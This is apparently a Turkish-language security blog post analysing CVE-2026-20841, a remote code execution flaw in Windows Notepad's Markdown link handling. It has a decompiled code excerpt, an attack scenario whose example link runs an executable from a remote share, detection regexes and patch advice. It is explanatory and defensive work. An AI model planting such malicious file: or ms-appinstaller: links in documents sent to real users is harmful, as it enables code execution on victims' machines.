Siber güvenlik dünyasında en tehlikeli zafiyetler, genellikle en "masum" görünen uygulamalardan çıkar. Microsoft'un efsanevi metin editörü Notepad, son yıllarda aldığı Markdown desteği ve Copilot entegrasyonuyla modern bir çehre kazandı. Ancak bu modernleşme, beraberinde ciddi bir güvenlik açığını da getirdi: CVE-2026–20841.
Bu yazıda, Notepad'in Markdown dosyalarını işlerken nasıl bir Uzaktan Kod Çalıştırma (RCE) zafiyetine dönüştüğünü, zafiyetin kök nedenini ve teknik analizini inceleyeceğiz.
Zafiyetin Özeti: Modern Özellikler, Yeni Riskler
CVE-2026–20841, Notepad'in Markdown dosyalarındaki bağlantıları (links) doğrulama biçimindeki bir hatadan kaynaklanıyor. Saldırgan, kurbanı özel olarak hazırlanmış bir .md dosyasını açmaya ve içerisindeki bir linke tıklamaya ikna ederse, kurbanın yetkileriyle sistemde keyfi komutlar çalıştırabiliyor.
- Zafiyet Türü: Command Injection / Remote Code Execution (RCE)
- Etkilenen Uygulama: Microsoft Windows Notepad (Modern Versiyon)
- Zorluk Derecesi: Orta (Kullanıcı etkileşimi gerektirir)
- Etki: Tam sistem kompromizasyonu (Kullanıcı bağlamında)
Teknik Analiz: ShellExecuteExW ve Yetersiz Filtreleme
Notepad, bir .md dosyasını açtığında içeriği "tokenize" eder (parçalara ayırır) ve render işlemi başlatır. Zafiyetin kalbi, Markdown linklerine tıklandığında çalışan sub_140170F60() fonksiyonunda atıyor.
Kod Analizi ve Kök Neden
Notepad, linke tıklandığında bu değeri doğrudan Windows'un meşhur ShellExecuteExW() fonksiyonuna paslıyor. Yapılan incelemeler, bağlantı dizeleri üzerindeki filtrelemenin sadece ters eğik çizgi (\) ve eğik çizgi (/) karakterlerini kontrol ettiğini, ancak protokol bazlı bir kısıtlama getirmediğini gösteriyor.
// sub_140170F60() fonksiyonundan kritik kesit
// v16 saldırgan tarafından kontrol edilen link değeridir.
Block->shell_start_struct.lpFile = v16;
Block->shell_start_struct.lpVerb = L"open";
// Zafiyet burada tetikleniyor
if ( ShellExecuteExW(&Block->shell_start_struct) )ShellExecuteExW, kendisine verilen URI protokollerine göre işlem yapar. Eğer saldırgan linke file:// veya ms-appinstaller:// gibi tehlikeli protokoller enjekte ederse, Notepad bu talebi sorgusuz sualsiz Windows kabuğuna iletir. Bu da uzak bir sunucudan zararlı bir dosyanın indirilip çalıştırılmasına veya sistem protokollerinin istismar edilmesine yol açar.
Saldırı Senaryosu
Saldırganın izlediği tipik bir senaryo şu şekildedir:
- Hazırlık: Saldırgan, içinde zararlı bir link barındıran (Örn:
<file://uzak-sunucu/paylasim/zararli.exe>) bir Markdown dosyası oluşturur. - Dağıtım: Dosya, sosyal mühendislik yoluyla kurbana ulaştırılır.
- Tetikleme: Kurban dosyayı Notepad ile açar (Varsayılan olmasa bile manuel açım yeterlidir) ve linke tıklar.
- Sonuç:
ShellExecuteExWçağrısı, uzak sunucudaki dosyayı kurbanın bilgisayarında çalıştırır.
Tespit ve Korunma Yolları
Bu zafiyeti ağ seviyesinde tespit etmek için .md uzantılı dosya transferlerinin izlenmesi kritiktir. Özellikle aşağıdaki düzenli ifadeler (Regex), zararlı olabilecek bağlantıları yakalamak için kullanılabilir:
- file: protokolü için:
(\x3C|\[[^\x5d]+\]\()file:(\x2f|\x5c\x5c){4} - ms-appinstaller: protokolü için:
(\x3C|\[[^\x5d]+\]\()ms-appinstaller:(\x2f|\x5c\x5c){2}
Nasıl Korunuruz?
Microsoft, bu zafiyeti Şubat 2026 güncelleme döngüsünde yamaladı. En etkili korunma yöntemi, Windows sistemlerini ve Notepad uygulamasını en son sürüme güncellemektir. Şu an için bilinen bir "Workaround" bulunmamaktadır; dolayısıyla yama uygulamak zorunludur.
CVE-2026–20841, bizlere en basit araçların bile gelişmiş özellikler kazandıkça ne kadar karmaşık güvenlik riskleri barındırabileceğini bir kez daha gösterdi. Notepad artık sadece bir metin editörü değil, aynı zamanda bir Markdown render motoru ve bu motorun güvenliği, işletim sisteminin güvenliği kadar kritik.
Analiz: AltHack Security Kaynak: Zero Day Initiative